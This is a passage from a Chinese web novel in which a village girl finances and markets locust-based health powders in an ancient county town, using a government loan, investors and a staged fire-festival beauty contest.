赵垚哦了一声,伸长脖子看了看他们的驴车,好几个罐子用稻草护着,捆得结结实实,不由得眼前一亮:“衙门里的伙食真不是人吃的,白瞎了那些食材,我就想,要是你姐来,我们就有口福了!” “车上罐子里,全是我姐做的,可是,你敢不敢吃呢?” 什么东西这么神秘。 赵垚打开一个罐子,看到里头密密麻麻的虫子,吓得差点把罐子摔了,看了她一眼:“要不,我们去姜老大夫家,闹腾他去?” 那人口味重,想必不拒绝这些东西。 赵垚回去找领头告了一声假,保证下午上值前回来,和两人摸到了姜老大夫家,他观察了一会罐子,发现了宝贝一般,伸手就去罐子里抓炸蚂蚱吃。 “早听说南地的蚂蚱朝食露水夕食芽,是山民口口相传的佳肴,今日总算尝到了!” “啧,香而不腥,脆而不干,酥而不腻,果然美味。” 他目光炯炯的看着刘青青:“你这丫头无事不登三宝殿,说说吧,今日来,是打算?” 刘青青咳嗽了一声,依次打开三个罐子:“诺,我们村里的孩子抓的蚂蚱,我琢磨着弄成了粉,兑上炒面,打算来城里卖,您老掌掌眼!” 姜老大夫顺次尝了一遍:“你这些粉都没有蚂蚱香啊!” “蚂蚱天生地长,饮甘露卧草芽,滋阴壮阳,对人体极好。这样处理后,能长时间存储,还方便冲泡,确实巧思,我觉得大可一试!” 以姜老大夫嘴巴之挑剔都挑不出毛病,刘青青喜上眉梢:“姜爷爷,我们家底薄,寻人入股,你打算入多少?” 姜老大夫仙风道骨品着强身粉的模样瞬间崩塌,他苦着脸放下碗:“你看我像存得下银子的人么!” 可惜了,这么一个发财的机会。 没办法,自己做的饭菜巨难吃,他不愿意将就口舌,有了点闲钱满城寻吃的。 赵垚在姜老大夫的吹嘘下,鼓着胆子尝了一个,马上就被炸蚂蚱的味道收买,一边吃一边举手:“我有钱!我要入。” 他又攒了二十两。 可是,这么点本钱,完全是杯水车薪。 赵垚从姜老大夫手里抢回罐子:“我带你们去衙门,我那些同僚世世代代在城里生活,全是些地主大户,就喜欢这些新奇美味的食物,也许他们愿意入股。” 几人又折回衙门,赵垚将他们安置在门房,抱着两个罐子去了前院。 赵垚长了个心眼,冲泡了一份强身粉,坐着自己位置上,小口小口的喝起来,香味随着热气充满了整个前院。 温如初赶着手头的一份案卷,没空到后面吃饭,肚子饿了叽里咕噜乱叫,吃了两片点心噎得慌,正要喝点茶水,被这缕味道吸引,顺着来到下属们的值房,一眼就看到大家伙衣衫不整追着赵垚满院子跑。 他不满的咳嗽了一声:“胡闹!” 都是体面人,这样东倒西歪的,让外面的百姓知道,县衙的颜面何在。 不过香味实在霸道,他沉脸询问:“你们抢什么,拿过来我瞧瞧!” 赵垚连忙递上强身粉,解释了几句。 当他听到强身粉已经被姜老大夫正实安全无害,而且能强身健体,不由得眼前一亮。 夫人带着儿子女儿来陪他,因久居上京,两个孩子不太喜欢这里的饮食,看着两人瘦得只剩个下巴尖,他这个当爹的,每日间摧心剖肝,恨不得一早干完一天的活计,剩下的时间回去后面,到处寻厨子给两个孩子捣鼓吃的。 他抱走罐子:“我带去尝一尝!” 看着罐子被抱走,大家伙戚了一声,作鸟兽散。 赵垚嘿嘿又抱出一个罐子,挤眉弄眼:“这个比那个还香,还能壮阳,就问你们有没有胆子吃?” “好个赵垚,还藏私,拿来吧!” 被抢走罐子的赵垚也不追,悠哉悠哉补刀:“不敢下嘴的尽管大方承认,我们不会笑话他。” 看到罐子里密密麻麻的虫子,王武差点把罐子甩出去,不过仔细一看,虫子光秃秃的,干干净净,色泽金黄,有一股肉食的焦香往鼻孔里钻,再加上被赵垚激将,抓了一把塞到嘴巴里。 嗯?好吃! 又抓了一把塞进嘴巴。 看了他的样子,还有什么不明白的,大家伙一起抢食了这罐子油炸蚂蚱。 “也太少了点!” “哪个食楼想出来的点子,把蝗虫弄来炸了吃,也太能折腾!” “对,在哪买的,我们再弄点去,下酒菜的唯一选择啊!” 赵垚:“不好意思,老家妹妹做的,外面没有!” 众人一愣,轰然取笑:“妹妹,赵垚你不是只有个姐姐么,哪来的妹妹!是情妹妹吧!” 赵垚楞眼,大声嚷嚷:“别胡说,人家只有十四岁!”奇怪,他竟然有一点小窃喜? 大家越发来精神了,荤话不 要命的往外蹦,赵垚红着脸躲到了茅厕里,才算逃过一劫。 温如初自己冲泡一碗尝过后,兴冲冲抱着罐子往后院赶,大老远就喊着:“夫人,我寻到吃的啦,快给孩子们试一试!” 杨雪眉捂额,歉意的对着两人颔首:“让你们见笑了,我家夫君有些毛躁!” 刘青青和郭守云起身还礼,而他们对面,两个模样精致的小人儿,大口大口喝着强身粉汤。 第56章 第56章借钱 温如初看见两人,露出一抹原来是你们的笑容。 他欣慰的看着儿子女儿毫不抗拒,喝下一大杯强身粉,向家人介绍两人:“阿眉,这便是我常和你提起来的木薯面发现者,刘青青,和他的朋友。” 郭守云他印象不深刻,记不清名字。 “青青,这是我夫人,和两个孩子,一鸣,一和,快和姐姐哥哥问好!” 两方又重新见礼一番。 刘青青笑笑,对着杨雪眉和两个孩子行礼:“大人夫人,我们今日来是有事相求!” 温如初摆摆手,“我晓得,赵垚说你们本钱不够,这样,我让夫人入股你们二百两怎么样?” 朝廷规定,当官的不能从商,家属却没有要求。 刘青青摇摇头:“大人,我只有五十两,所以,你们只可以入五十两以内。” “这便难办了!” 刘青青看着温如初提醒:“大人,我来是想问一问,衙门能不能借银子给我们,我们愿意支付一定的利息!” “大人,其实有许多想做点小生意的人家,或暂时遇到困难的人家,借钱无门,只能去找印子钱,高利贷哪里是能碰的,常常导致一家子倾家荡产,家破人亡。” “如果衙门能借钱,用房契、地契等作为抵押,收取合适的利息,一来帮衙门赚一点小钱,二来也解决了百姓的困难。” 温如初皱眉:“开了这个口子,大家伙都来借,衙门哪里来那么多银子哦!” 刘青青奇道:“这还不容易,县衙的银库是整个县里最安全牢固的地方,百姓家藏点银子不容易,不是被老鼠咬了就是被狗刨了,你只要放出风声,帮忙保管银钱,只要支付一小点看管费用,若用的时候,随时凭票据、印信、本人亲自提取,乡亲们肯定愿把银钱存到你这里来。” “那么多银子堆在库房里,你也睡不着不是,就可以借出去啦!” 温如初:“这不是钱庄做的事情么!” “钱庄能做的事,衙门为什么不能做呢!” 钱庄是为了赚钱,衙门是为了百姓,利息适当的低一些,让百姓还得起,或按月还一小部分。 当然,肯定有投机倒把想借钱不还的,不是收了抵押的房契地契么,只管把房子田地,到菜市场去当众叫卖,价高者得知,得了钱,填了衙门的账,剩下的依旧给他,或者规定欠衙门钱不还的,他们家祖祖辈辈不允许报名科举。 这年代,科举是改换门庭的唯一通道,你敢当个老赖试一试。 温如初感觉打开了新思路,是啊,钱庄做的事,衙门凭什么不能做。 他大力推广种植木薯,效果不是很理想。 百姓们的田地都是有数的,保守起见,先种够填肚子的稻子麦子,有余地了,才考虑种木薯。 买荒地的话,百姓们也没有办法凭空变出银钱和工具来开荒啊。 要是衙门能借钱给百姓,让他们来年的时候再还钱,棋不就盘活了么。他风风火火去寻史居正细细商议。 看着一溜烟跑掉的温如初,杨雪眉不好意思替丈夫解释:“实在对不住,他就是这个性子!你们放心,我肯定是要入股的,不为别的,以后这两个都要长期喝你们的强身粉呢!” 叫人取了五十两给刘青青,刘青青郑重的收下,歪歪扭扭写了一张收据。 约定过两日送股书来。 杨雪眉笑笑,她算是常平县第一夫人,难道还有人敢赖她的账! 两人告辞出门,刘青青带着郭守云到小叔刘有江家落脚,方氏为人爽快有原则,挺对她的味。 到了方家,方家正在吃饭,看到他们很是惊喜,方氏连忙又炒了个鸡蛋。宝珠抱着刘青青不撒手:“青青姐,你可想死我了!” 听说村里的孩子们上学除了认字,还要学针线开荒逮蚂蚱,日子过得有滋有味,宝珠流出羡慕的泪水:“我为什么不是村里的小孩!” 真是个傻丫头,多少人相当城里人还当不上呢! 刘瑞仍旧是安安静静的听她们说话,但微微发光的眼睛,显示着他的向往。 吹完水,刘青青把抱出一罐美颜粉,一罐强身粉,让大家品尝。 果然受到方家一致好评。 方氏当场拍板,拿出十两银子入股。 夜里睡觉的时候,宝珠挤着她,从枕头里抠出6两银子塞到她手心,挨着她耳朵悄声道“表姐,你悄悄的帮我入股,不要让我娘知道!” 啧,真是个心眼多的小姑娘。 刘青青两人再次来到县衙,史居正在门口等候多时,两人受宠若惊。 落座议事厅,厅里安静的坐了好些人,桌案上堆满了纸笔。 刘青青挑挑眉,温如初完全是把她当大人来看待啦。 大大方方坐下,郭守云站在她后面。 温如初点点头,史居正笑道:“姑娘昨日的主意很好,你就是第一个吃蚂蚱的人。请问姑娘带了地契房契来了么?” 刘青青点点头,掀开外裳,从腰带里掏出地契和房契:“我们家清水沟房契三个,良田36亩,一年熟荒地20亩,全部抵押贷款一年,请大人派人去验证!” 史居正看向同僚,房契地契室的两个小吏接过地契房契,检验后点点头,表示她说的和衙门里的记录一致。 “按理我们应该去清水沟实地考察,恰好我已经去过,你说的这几个地方,我都有印象,可以直接估价:良田市价5两,抵押4两,熟荒地3两,抵押2两,宅子30两一座,抵押20两,合计可以贷款244两,一年取百分之五的利息,利息12.2两,明年还256.2两,你觉得如何!” “挺合理,就按照你说的办!” 史居正一愣,严肃道:“你想好了么,若明年还不了这些钱,这些房产田地,衙门要全部收走!” 刘青青收起笑颜,正色道:“大人放心,白纸黑字!” 因怀揣巨款,史居正命赵垚亲自护送她回村。 郭守云有些懵逼,来一趟城里,刘青青弄到了三百多两,晚间回到家,发现赵峰送来了18两,说是入股。 刘青青算了笔账,确认股权: 刘家有31两现银,村长借了10两,贷款244两,刘家合计285两。 村学账上36两现银,取20两入股,余下16两作为日常开支。 刘鑫12两,赵垚20两,姜老大夫4两,杨雪眉50两,方氏10两,方宝珠6两,赵峰18两,全部合计425两。 在这个平凡的夜晚,青华集团正式成立,分为425股分,一两银子一份股,刘青青写了9分股权书,标清楚份额,以后按照股分分红。刘家约占67%份额,拥有绝对的话语权。 刘青青正式封自己为执行总裁,负责一切具体事务。 本钱到位,生产线立马开起来。 因没有场地,刘青青找村长在刘家旁边的河滩又买了十亩的空地,栽了柱子,铺起石板地和石板顶,作为生产车间。 分为原料收买处,加工处等。 刘鑫和赵峰合作收买原料,上好的大米、黄豆、小麦、蚂蚱,优先从清水 沟村子里购买。 刘慧兰雇佣了学堂里六个手脚自麻利的女孩,负责加工,带着人,将几样食材炒熟后磨成粉,按照之前的配方,加上蚂蚱粉糖粉盐粉勾兑好,而她和赵垚,负责销售。 恰好地里十亩黄豆成熟,刘青青喊着村学里的六十个孩子,上了一节劳动课,让孩子们到地里将十亩黄豆摘下放口袋里,寻了几个壮实的男家长,运回家,黄豆杆子就地晒干,烧成草木灰肥地。 当然,人多力量大,一天全部收完,孩子每人给十文工钱,家长给三十文工钱。 十亩黄豆合计收得3千公斤还多,算下来亩产300多公斤,这个数字一出来,村子里沸腾了,都来打听,她们家买的是什么种子,竟然这样高产。要知道,他们种的黄豆,亩产200多公斤算是厉害的拉。 刘青青表示,就是从街上随意买的种子,许是运气好? 这三千公斤黄豆,全部作为种黄豆,一公斤8文卖了出去,收回24两现银。 她又从街上买了300公斤黄豆,小水枪滋过后,叫上孩子们把村学的地给种了。至于他们家的地,全部种上了花生。 紧张忙碌中,青华集团第一批强身粉做了出来,包装上出了个问题,一开始准备的陶瓷罐子很漂亮,但是成本高,而且运输途中容易碎,刘青青想了想,改用大竹筒,碗口粗的竹筒,打磨光滑后画上花纹,配上盖子,密封又不会碎,方便携带而且雅致,喝完了大竹筒还可以作水杯。 县城里刘青青把赵垚家的店铺租下来,装修成为青华专卖店,已经上架的产品是蚂蚱干,蚂蚱酱,强身粉,美颜粉,增聪粉,雇请赵垚母亲当店员。 因为赵垚的推动,他身边那些人多少都照顾过生意,不时买点蚂蚱干和蚂蚱酱尝个鲜,但是他们的主打产品,蚂蚱粉无人问津。 看着摆得整整齐齐的蚂蚱粉货架,赵垚有些着急:“要不,我们降价试一试?” 每一份蚂蚱干二两,卖29文,蚂蚱酱三两一瓶,也是29文。 而强身粉一公斤一罐,刘青青定价59文,会不会是价格太高,所以没人买! 赵垚焦急上火,嘴角全是燎泡,后院还堆着一屋子的蚂蚱粉,要是卖不掉,该怎么办? 对于店里的生意不好,刘青青表示得很淡漠,甚至还有心情惦记玩乐:“今晚要祭祀火神了吧?” 郭守云算是她的秘书总能接上她的话:“嗯,今天六月二十三!” 第57章 第57章火神选美 没人搭理的赵垚,他两眼望天,脸上都是迷茫,难道六月二十三,有什么特殊的么? 刘青青笑道:“阿云,你念书这么长时间了,可知道火把节的由来?今晚祭祀火神要做些什么?” 郭守云对于她随时随地的考教,由一开始的无所适从,到现在的精准答复,其中的艰辛,是无数个夜晚秉烛夜学的结果,当然,因为他经常夜读到凌晨,担心影响到刘青青,主动搬到了杂物间独住,结束了两人的同居生活。 刘青青有些舍不得呢,毕竟住在一起住时,她要喝水,要点灯,要关窗,要打钻到蚊帐里的蚊子,全是声控的,只要唤一声阿云,郭守云立马从上床窜下来,捧上热乎乎的温水,点亮蜡烛,帮她把蚊帐里的蚊子消灭,还贴心的掖好被角。 郭守云没注意到她的走神,用略微的带着点奇怪的腔调,叙述出此地百姓火把节的由来。 相传古时候有一个名叫十大力的恶人,他力大无穷,无恶不作。他骑着一头三只角的恶牛,到处糟蹋庄稼,掳走漂亮的女孩,夜夜当新郎。 百姓们对他十分痛恨,又束手无策。 六月二十三这一天,他再次作恶,掳走了村子里最美的姑娘罗敷,她的未婚夫阿龙是村子里最英勇的勇士,知道消息后痛不欲生,聚拢了一大批痛失爱人的年轻人,共同上山讨伐恶人,营救可怜的姑娘们。 可是十大力住在危险的山顶,那里悬崖峭壁,草木繁茂,全是毒虫,阿龙想到了个主意,每个勇士坐在高高的黄牛身上,由黄牛带路,而他们手举火把驱赶毒虫,照亮前路。 经过一夜的磨难,讨伐队历经千辛万苦,终于到了十大力的老巢,他嚣张的放出了他的三只角恶牛坐骑,讨伐队的黄牛见状,毫不犹豫冲上去,消灭了恶牛。 最后,小伙子们凭借人海战术,把群殴的精神发挥到了极致,共同打败了大恶人十大力,救出了姑娘们。 可是还没结束,十大力倒下的瞬间,他桀桀怪笑,唤出他养的毒虫,变成蝗虫到处肆虐,眼看就要吃了百姓们的庄稼,阿龙睚眦目裂,用火把将自己点燃,成了繁繁点点的火星,驱赶烧灭蝗虫,挽救了百姓们的庄稼。 故事的最后,姑娘们和郎君们幸福的生活在了一起,只剩罗敷失去了未婚夫,也点燃自己,追随阿龙而去。 人们为了纪念他们两,奉阿龙为火神,罗敷为神女。从此以后,南地的百姓都要过火把节。 六月二十三这一天,祭祀火神。 姑娘们盛装打扮,齐齐游街,最后在县城广场上,点燃火把,由火神降下神寓,确定谁是最美的姑娘,那她就是神女,能得到火神的庇护。 六月二十四一早举行斗牛比赛,找出最勇敢的牛。然后是摔跤比赛,选出最勇猛的小伙。 到了二十四的晚间,人人举着火把,由神女和勇士骑着黄牛,带着大家巡视稻田,驱赶蝗虫,午夜回到广场,举行盛大的篝火晚会,载歌载舞,狂吃海喝恶牛一番。 刘青青觉得,这一场盛宴中,大黄牛最可怜,斗牛赢了的,头戴大红花风光游街被人骑,斗牛输了的,成了篝火晚会上的盘中餐。 经过这么多年的流传,六月二十四已经成了南地百姓的牛肉节相亲节。 朝廷保护耕牛,所以平时买不到牛肉,只有这一天,朝廷也睁一只眼闭一只眼,百姓们可以光明正大食用牛肉。 满十六岁的姑娘,由家人盛装打扮,参加游街,而有意说亲的小伙,参加摔跤比赛,晚间篝火晚会,看对眼的青年男女,趁着夜色光明正大的一起跳舞,深入了解,决定要不要过一辈子。 毕竟,这个时代大部分人的婚姻,全靠媒人一张嘴呢。 刘青青对郭守云急速增长的文化知识储备,表示了高度的肯定,两人约赵垚一起去看火神选美。 赵垚不想去,被江氏用扫帚赶走:“你都十八了,去看看有没有中意的姑娘,我请媒人上门说媒去!” 莫名老了一岁的赵垚:“娘,我才过了十七的生辰,哪里就有十八!” 赵垚叹了一口气,他觉得吧,城里的姑娘看不上他,嫌弃他家底薄,可是村子里的姑娘吧,见识又浅了些,他现在就是高不成低不就。 算了,不想这些,他还年轻着呢,寻不到个中意的媳妇,还不如单过着。 几人顺着人群,挤到广场边等着,不一会,铜鼓队在前,吹拉弹唱齐全,盛装打扮的姑娘们手提着花篮,两人一排踏着鼓点,唱着六月火把节,一边走、一边把篮子里的鲜花、果子撒像四周的人群,欢快的走过。 刘青青人小个矮,怕被哄抢的人群踩到,慌忙往后躲,郭守云用力的在她身前张开双臂,像一只护犊的老母鸡。 赵垚人高马大,喜滋滋跳起来,抢了好几颗花红果,放在嘴巴里一尝,酸甜沙脆,挺好吃。 到了广场,天完全黑了下来,中央的火塘里已经升起了冉冉的篝火,姑娘们每人手持蜡烛,到篝火边点燃,然后回到自己的位置,手捧蜡烛,一起跳起了火神舞。 六月是个丰收节 六月是呀火把节 熊用竹笋来过节 猴子采果来过节 …… 跳舞过程中,姑娘们手中的蜡烛,随着她们的动作,烛火或明或暗,若最后还能保持不灭,且最亮堂的,便是神女,便是最美的姑娘,可以得到火神的庇护,一 辈子平安喜乐、旺夫旺子。 鼓点结束,所有人的目光集中在一个姑娘的身上,竟然是她! 城南做豆腐的付娟。 听说这姑娘是个命硬的,生下来便克死了娘,她爹做豆腐将她拉扯大,好不容易养到十二岁,他爹也被她克死,只剩阿奶和她相依为命,十六岁的时候,又把她奶给克死了,名声在外,都没有人敢上门说亲,今年快二十了吧。 这么一个命里带煞的人,今年竟然被火神选为了神女! 民众们打量的目光上下扫过她身上,她穿着一套与众不同的裙子,裙摆折折叠叠长至小腿,露出绣了花边的长裤。上面绣着奇怪的花纹,各种鲜亮的颜色撞击在一起,有一种粗犷奇异的美感。 她腰间竟然还细了一条围裙,将她的腰肢勾勒得不堪一握,上面鼓鼓囊囊,一看就好生养。 脸颊因为跳舞,红扑扑的,白里透红,红里透粉,是大家喜欢的健康粉。 而头上帽子的银片,反衬着蜡烛明亮的光,让她整个人看起来,恍如火神神女亲自下凡,神秘而美丽。 有付家的邻居嚷嚷道:“付娟是被火神祝福的,付娟娘已经患病多年,因为怀了她,才多活了一年。 付家原本饭都吃不饱,付绢五六岁就跟着他奶起早贪黑做豆腐,嘴巴甜会来事,大家喜欢去他家买豆腐,他们家日子过得宽裕。 他爹本性难改,竟然去喝花酒,死在了花楼。 她奶当场气得中风,是付娟衣不懈带伺候了这么些年,老太太走的时候,白白胖胖,一点罪没受。” “传闲话说她命硬的,烂死了活该,不晓得安得什么心!” “火神显灵,给她正名!” “难怪能被火神祝福,是个孝顺能干的孩子!” “啧,不知道,谁家有福气,娶了她回去!” 众多年轻貌美的姑娘,看着付娟手上明亮的蜡烛,看着人家粉扑扑的脸蛋、明眸皓齿,大大方方的做派,心甘情愿将她奉为最美姑娘,围着她讨论,衣服在哪做的,用的什么粉皮肤这么光滑,蜡烛在哪买的? 付娟远远和人群中的刘青青对视了一眼,不动声色悄悄点了一下头。 收回目光笑盈盈的一一回答:“衣服是祖上传下来的,脸上没用粉,只是平时喜欢喝美颜粉。蜡烛啊,是从县学旁的书店买的” “哦,什么美颜粉!” “美食街开了一家叫青华的店,里头就有,听说是蚂蚱做的!” “啊,蝗虫做的啊,好恶心,你怎么吃得下!” “其实一开始,我也不敢吃,可是我做梦,梦里火神说,蝗虫吃了我们的庄稼,让我们以牙还牙,最好把它们全部都吃完。 我试着买了一罐,一点也不难吃,相反,非常香美呢! 我之前气色有点偏黄,只吃了一个月,就变得白了许多,而且磨豆腐更有力气了呢!” 付娟耐心给大家介绍她的护肤心得,每年的火把节选美,只要是十六岁以上的姑娘都能参加,今年没选到,准备准备,明年选上,不就行了么! 当晚,江氏望着没有动的货架叹了口气在,正准备关门,呼啦啦跑进来一群年轻活拨的姑娘,问她们家有没有美颜粉,指定要蚂蚱做的那种! 江氏喜出望外,连道“有!有的!” 那些姑娘们,竟然不还价,一人抢了两罐子,丢了铜钱就走。 赵垚回来的时候,便看见空荡荡的货架,阿娘呆呆的坐在桌子后,大惊失色,把手里的花红果一扔,拔出门闩蓄势待发:“阿娘,谁把我们店抢了?” 他好悔,凑什么热闹,不在家好好看店! 第58章 第58章摔跤意外 江氏喊住赵垚,推了他一把:“你这个毛躁的毛病什么时候才能改!” 她探头张望了一下左右,小声道:“不是被抢了,全卖了!” 后面屋子里的存货也卖了大半! 赵垚眨巴两下眼睛,不明白发生了什么,他才出门一个时辰而已。 橱桌下框子里全是铜钱,江氏守着不敢动,估摸着不会有人来了,支使赵垚关门,娘两个一起埋头数钱。 就刚刚这一会,卖出三百六十罐,合计21两240文! 赵垚眼热的盯着桌子上整齐的二十一窜钱,呼吸都快了几分,咋舌:“要是每天都能卖这么多钱就好了!” 江氏摇摇头:“不可能,那些来买美颜粉的小姑娘说,是火神圣女介绍她们来的,喝了我们家的美颜粉,气色红润皮肤有光泽,我估摸着她们还回来,但不会像今晚这样,一次性抢购这么多。” 赵垚愣着了,选美的时候他看见付娟朝他们这里笑了笑,还道是她慧眼识英雄,透过自己粗狂的外貌,相中了自己细腻的灵魂,原来人家是看刘青青,这个小丫头,私底下怎么运作的,竟然能让付娟帮忙说话。 次日一早,刘青青和郭守云慢悠悠晃到店里,查看昨晚的账本,赵垚逮着她询问。 刘青青笑笑:“也没干什么,我送了她一套衣裳,条件是她喝我们的美颜粉,帮我们说话!” “你怎么知道她一定会答应!” “她为什么不答应?只差一年她便要被官府配婚,付家族里看中她们家祖传豆腐手艺,把她名声传坏,让她寻不到合适的夫君,有机会让自己正名,她为什么不答应!” “你怎么知道,火神一定选她?” 刘青青看傻子一样看着她:“这么多年了,你还没看出来?火神的旨意就是谁的蜡烛最亮,谁就是最美圣女!而我们做蜡烛,是专业的啊~!” 一时半刻寻不到松脂,她把阿云的松脂蜡烛给融掉三根,做了一只大蜡烛给付娟,当然付娟本身也明艳动人,十九岁的年纪风华正茂,哪里是那些小豆芽可以比的。 加上他们从地里挖出来的衣裳,古典神秘,和大蜡烛的加持,妥妥的最美圣女啊,大家都服气。 瞟一眼旁边淡定捧着书看的郭守云,赵垚酸溜溜道:“那你之前为什么不告诉我?他为什么就知道!”他也是股东,有知情权。 刘青青眼皮都没抬,在账本上写写画画:“这些事都是阿云陪我一起办的!”知道不是应该的么。 赵垚噎了一下,有种他被赶出核心层的危机感。 不行,他一定要回核心层,随时掌握先机,才能赚更多的钱,笑嘻嘻问:“那今日有什么安排?” 刘青青从账本中抬起头,似笑非笑看着他:“你确定你能办好?” 赵垚有种被领导重视的感觉,胸脯拍得震天响:“必须的!” 之前胸脯拍得有多响,他现在就有多后悔,一边在衙门各个屋子里乱窜,一边暗骂刘青青是个外白内黑的老阴逼。 因整理货架,上午的斗牛比赛和下午摔跤比赛,刘青青和郭守云在店里看店,江氏去观看。 江氏说起斗牛,滔滔不绝,整个县城十个镇每个镇都派出大黄牛,进行了激烈的搏斗,最后胜出的是隔壁吉祥镇的大黄牛,挂了大红花,得意洋洋拴在广场,由人们参观。 说起摔跤,四十多岁的江氏眼底闪过一抹诡异,明明满脸的八卦却强行淡然的样子道:“嗨,出了点小意外,参加摔跤的选手,因搏斗得太激烈,竟然把裤腰给崩断了。” 摔跤的时候,为了防备选手隐藏武器,规定不许穿上衣,只着一条松松的灯笼裤,裤腰崩断,一掉到底,可不就是没穿衣服了么。 啧,和两个小辈她不会说,围观的人们看着选手们,身着五颜六色的紧身裤衩,流畅的线条一展无遗,尖叫声差点没把广场给掀翻。 小姑娘小媳妇们捂着眼睛,羞红着脸,从指头缝里偷偷摸摸看摔跤选手们,裤衩颜色款式,是粉色碎花的,还是蓝色条纹的,还有红色的。 粉色碎花的,肯定是相好的送的,说亲的时候要避开他。蓝色条纹的,内心清正,可以考虑……。 至于老娘们,两只眼肆无忌惮的上下扫描,边嗑瓜子,边嘴皮子翻飞,光明正大评头论足一番:花裤衩的腰很细,标准的倒三角形,蓝裤衩的肱二头肌虬髯扎实在,一看就是个有力气的。 能被各乡镇推选出的摔跤选手,就没有一个是白斩鸡,都是身强力壮,浑身肌肉雄壮的。 出了这个意外,除了一开始的懵逼,反应过来后,跤也不 摔了,干脆脱下裤子撕拉撕成一块布,围在腰间,大大方方摆出各种造型,全方位的展示肌肉,引来一阵阵叫好。 摔跤比赛,变成了身材展示赛,迎着铜鼓的节奏,有小姑娘开始把手中的花,丢给喜欢的选手。 最后,蓝裤衩凭着山峰般的容貌,精干的身材,得了最多的投花,被评为最俊勇士! 稍后赶到的史居正,头冒冷汗费尽九牛二虎之力,才把选手们带下去,换了自己的裤子,蓝裤衩凭借自己的实力,得了头名,火神勇士实至名归。 这次他穿了裤子,但不好意思,他蓝裤衩的形象已经深入人心。 江氏守寡多年,平时忙于生计,今天被这么闹腾,感觉沉寂多年的心,松快了不少。她可没有不守妇道,大家伙一起看了呢。 围观不少男人打听,发现这一届的选手们,都喜欢吃蚂蚱干,喝强身粉,艳羡那一身腱子肉,便寻摸着来买强身粉。 也有女子来买给家里男人喝的,见了美颜粉,增聪粉,顺便买两罐。 店里的强身粉,美容粉,增聪粉全部销售一空,青华字号蚂蚱粉,成功在全县打响名声。 刘青青这次没寻人,摔跤选手们提前三天排练,学习摔跤的规则,她赞助衙门,免费为选手们提供了三天的饮食,三十个选手,每顿饭有肉有菜,还配上蚂蚱干蚂蚱酱,不提供酒,但配了强身粉作饮料,选手们习惯装一点在水囊里,练习的时候口渴便喝一口,比白开水能补充体力。 这个小习惯被吃瓜群众们误会为,喝了强身粉,就能长出一身腱子肉。 刘青青得知后,哭笑不得,这时代人们生活条件差,普遍缺蛋白质缺维生素,她的强身粉里淀粉蛋白质维生素都有,能改善人体体质,变得气色红润健康,至于长腱子肉,那真做不到。 腱子肉不是吃出来的,是练出来的。 什么,裤腰是她动的手脚? 当史居正来找她要说法的时候,刘青青指天发誓不是她做的,许是时日长久,衙门收藏的比赛服老损了呢。 毕竟大家伙不穿上衣摔跤,她已经能达到目的,让观众看到选手们的身材啦。 鉴于衙门经费紧张,刘青青大方的包下了明年的选手服,保证不会出类似的纰漏,感谢衙门给她为火把节供餐的机会。 史居正也只是走个过场一问,出了这岔子,阴差阳错,这一届的火把节更热闹,街上人更多,入城门的人头费是去年的十倍,间接带动了整个县城的经济。 至于被掉裤子的选手们,受到了伤害? 不存在的,他们平时还找不到展示一身力气的地方,能出这样的风头,成为十里八乡的名人,走到哪都有小姑娘偷看,别提心里多得劲了,唯一的烦恼就是上门说媒的人太多,有些挑花了眼。 当然,这是后续。 当晚天黑,由付娟和蓝裤衩,啊呸,人家叫元朗,共同骑着大黄牛,全县的人拖家带口举着火把,出城门往东,绕着县城逛了一圈,在稻田里,无数人对着火把许下了愿望:“为大的火神,感谢您的庇护。愿五谷丰登,愿牲畜满圈,愿阖家欢乐,愿万事如意!” 随着付娟一声拜字,大家把自己的火把插在了田边,呼朋引伴往回走,赶回了广场。 这里已经摆好熊熊燃烧的篝火,围着篝火设置了流水席,每人可以免费喝一碗牛肉羹,吃一个糖心木薯面窝窝头,一小碟蚂蚱干。 哦,不是免费,费用已经在进城人头里出过了,十文钱一人,免费吃。 不少人感叹,今年的火把节,过得真值。 和去年一样的十文钱,看到了热闹的与众不用的比赛,吃到了拳头大的糖心窝窝头,肚子撑饱,还喝了平时喝不到的牛肉羹,虽然只有一块牛肉,但那是牛肉啊! 还有香浓酥脆的蚂蚱干,香甜可口的增聪粉汤。 今年真是来对了,明年还要来! 城里都在流传,火神可怜百姓,每年稻谷被蚂蚱糟蹋,所以梦中传授了蚂蚱的做法,让大家伙以牙报牙,吃尽蚂蚱,以后不再受蚂蚱之苦。 吃饱喝足的人们不分男女,不分老少,手挽着手跟着铜鼓鼓点,围着篝火嗨起来:六月二四火把节,大家一起跳起来,尽情吃喝尽情耍,笑颜庆祝火神节…… 县衙议事厅,温如初与刘青青心不在焉听着外面大三弦鼓点的奏乐,目光紧紧盯一边史居正——食指如飞的算盘,很是好奇,今年衙门赚了多少钱? 第59章 第59章会账 史居正再次核对了一次账本,火把节城门总共6万人进城,城内原有4万百姓,每人10文人头费,合计收取了1000两,买牛二十头用掉400两,蚂蚱干200两,木薯面60两,柴火人工140两,还剩200两。 温如初几乎热泪盈眶,县衙这一次总算没有倒贴银钱进去了。 他大手一挥:“100两入库,剩下100两拿出来,给衙里的兄弟们作为奖励,这个月辛苦啦!” 他任县令这一年多,狠抓衙门的清廉作风,底下的抱怨他自然知晓,这次赚到了银子,让大家喝口汤,理所应当。 刘青青讪讪笑了一笑,不愿意掺和衙门内部事务,结了自己的二百两银子,与郭守云同骑一马回村。 郭守云似乎天生擅长驽驾各种动物,无论是两小只,还是大青驴,仰或从衙门借来才三天的的壮马,他都很快能上手,让动物们服服帖帖,听从指挥。 这不,郭守云坐在前面,刘青青挂着包袱紧紧抓着他腰间的衣裳,坐在后面,两个人合计不到七十公斤,还不到一个壮年男子的重量,马驮着他们跑得飞快。 骑马与做驴车完全是不同的概念,驴车晃悠悠慢吞吞,让人昏昏欲睡。枣红马来往过很多次,这条路已经跑熟,出了城门后在明亮的月光下奔驰,时速几乎达到五十公里。 夏末的凉风呼呼的吹在脸上,刮得生疼,刘青青不自觉缩了缩脑袋,躲在郭守云的身后。 许是察觉到了她的动作,郭守云紧握着的缰绳稍微松了松,让马儿速度降下来一些,然后挺直了身子,用自己同样单薄的身体,替她遮挡了大部分的凉风。 这几日刘青青殚精竭力卖蚂蚱粉,而他,什么忙都帮不上,只能跟在后面帮她跑跑腿。 是他心急了,着急赶回清水沟,让她好好休息。 到了清水沟,刘家院子里灯火通明,大家不时翘首以望,听到马蹄声,一家子跑到院子里打开院门,笑盈盈的看着他们:“可算回来啦!” 刘有山牵住缰绳:“累了吧,快下来歇歇!” 苏氏端来一盆热水,接过刘青青的包袱:“先洗洗尘,跑一身的灰。” 